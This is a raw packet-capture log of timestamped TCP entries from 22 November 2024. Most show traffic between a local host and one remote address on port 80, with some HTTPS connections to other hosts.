Nov 22, 2024 14:44:07.916004896 CET	443	49956	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:07.917819023 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.917876005 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.917956114 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.917998075 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.926306963 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.926357985 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.926399946 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.926527023 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.933846951 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.933912992 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.933947086 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.933983088 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.941431046 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.941473007 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.941550970 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.941590071 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.949090004 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.949137926 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.949178934 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.949212074 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:07.956731081 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:07.956780910 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.010510921 CET	443	49942	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:08.013720036 CET	443	49942	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:08.013797998 CET	49942	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:08.018306017 CET	49942	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:08.018316031 CET	443	49942	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:08.022871017 CET	49957	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:08.022918940 CET	443	49957	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:08.022991896 CET	49957	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:08.023199081 CET	49957	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:08.023214102 CET	443	49957	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:08.045757055 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.045850039 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.045864105 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.045906067 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.047631025 CET	443	49947	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:08.049551010 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.049595118 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.051238060 CET	443	49947	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:08.051552057 CET	49947	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:08.051697969 CET	49947	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:08.051697969 CET	49947	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:08.051712990 CET	443	49947	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:08.051722050 CET	443	49947	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:08.055048943 CET	49958	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:08.055078030 CET	443	49958	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:08.055175066 CET	49958	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:08.055346012 CET	49958	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:08.055356026 CET	443	49958	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:08.090312004 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.090368986 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.090385914 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.090426922 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.092955112 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.093008041 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.093951941 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.094001055 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.094080925 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.094120026 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.099385023 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.099446058 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.099498034 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.099536896 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.105536938 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.105616093 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.105659962 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.105753899 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.110245943 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.110374928 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.110410929 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.110451937 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.115712881 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.115765095 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.115772009 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.115803957 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.121125937 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.121189117 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.121223927 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.121515989 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.126492023 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.126543045 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.126596928 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.126640081 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.132010937 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.132055998 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.132076979 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.132122993 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.137332916 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.137398005 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.137461901 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.137501955 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.142822981 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.142961025 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.142998934 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.143013000 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.148196936 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.148272991 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.148360968 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.148519993 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.153630972 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.153713942 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.153721094 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.153750896 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.159054041 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.159148932 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.159187078 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.159223080 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.164460897 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.164518118 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.164570093 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.164663076 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.169918060 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.170000076 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.170006037 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.170046091 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.175328970 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.175424099 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.175426960 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.175546885 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.180782080 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.180854082 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.180965900 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.181036949 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.186157942 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.186208010 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.186239958 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.186281919 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.191553116 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.191654921 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.191704988 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.196994066 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.197055101 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.203768015 CET	49959	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.203803062 CET	443	49959	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.203877926 CET	49959	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.204408884 CET	49959	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.204421043 CET	443	49959	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.256373882 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.256472111 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.256513119 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.256556034 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.259099960 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.259160042 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.259327888 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.259588957 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.264458895 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.264518023 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.300930023 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.300987959 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.301057100 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.301100016 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.302191973 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.302277088 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.302311897 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.302431107 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.304630041 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.304673910 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.304706097 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.304747105 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.306981087 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.307035923 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.307060957 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.307109118 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.309489965 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.309533119 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.309588909 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.309636116 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.312025070 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.312124014 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.312144995 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.312180996 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.314408064 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.314455986 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.314508915 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.314548016 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.316843033 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.316889048 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.316951036 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.317004919 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.319278002 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.319350004 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.319372892 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.319434881 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.321696997 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.321746111 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.321799994 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.321839094 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.324143887 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.324194908 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.324202061 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.324239016 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.326711893 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.326752901 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.326776028 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.326791048 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.328968048 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.329025030 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.329063892 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.329104900 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.331414938 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.331468105 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.331523895 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.331914902 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.333851099 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.333904028 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.333970070 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.334007025 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.336313963 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.336370945 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.336400986 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.336462021 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.338819027 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.338862896 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.338881016 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.338920116 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.341131926 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.341231108 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.341269016 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.341562986 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.343558073 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.343617916 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.343661070 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.343801022 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.345947027 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.345983982 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.346066952 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.346281052 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.348396063 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.348432064 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.348468065 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.348480940 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.350819111 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.350872993 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.350913048 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.351001024 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.353260040 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.353363991 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.353414059 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.355665922 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.355710030 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.355775118 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.355822086 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.358107090 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.358179092 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.358242035 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.358294010 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.360553026 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.360656023 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.360713005 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.362936020 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.363030910 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.363050938 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.363080978 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.365391016 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.365447998 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.365509987 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.365685940 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.367805004 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.367876053 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.367882013 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.367999077 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.370251894 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.370302916 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.370306015 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.370342970 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.372643948 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.372747898 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.372802973 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.375169992 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.375242949 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.375250101 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.375283957 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.377480984 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.377532005 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.377549887 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.377573013 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.379899979 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.379954100 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.403089046 CET	443	49950	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.403419971 CET	49950	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.403434992 CET	443	49950	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.404700041 CET	443	49950	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.405040026 CET	49950	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.405244112 CET	443	49950	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.405312061 CET	49950	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.405409098 CET	49950	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:44:08.405430079 CET	443	49950	20.189.173.7	192.168.2.6
Nov 22, 2024 14:44:08.466825962 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.466871977 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.466893911 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.466941118 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.467973948 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.468043089 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.468095064 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.469820023 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.469868898 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.469901085 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.469950914 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.472158909 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.472255945 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.472270966 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.472296953 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.474425077 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.474526882 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.474601984 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.476666927 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.476814985 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.512052059 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.512065887 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.512116909 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.512993097 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.513045073 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.513075113 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.513118029 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.514792919 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.514806032 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.514863014 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.516537905 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.516591072 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.516861916 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.516911030 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.518296957 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.518359900 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.518443108 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.518498898 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.520082951 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.520131111 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.520196915 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.520481110 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.521344900 CET	443	49881	162.159.61.3	192.168.2.6
Nov 22, 2024 14:44:08.521428108 CET	443	49881	162.159.61.3	192.168.2.6
Nov 22, 2024 14:44:08.521611929 CET	49881	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:44:08.521823883 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.521881104 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.521910906 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.522006035 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.523637056 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.523695946 CET	49949	80	192.168.2.6	185.215.113.16
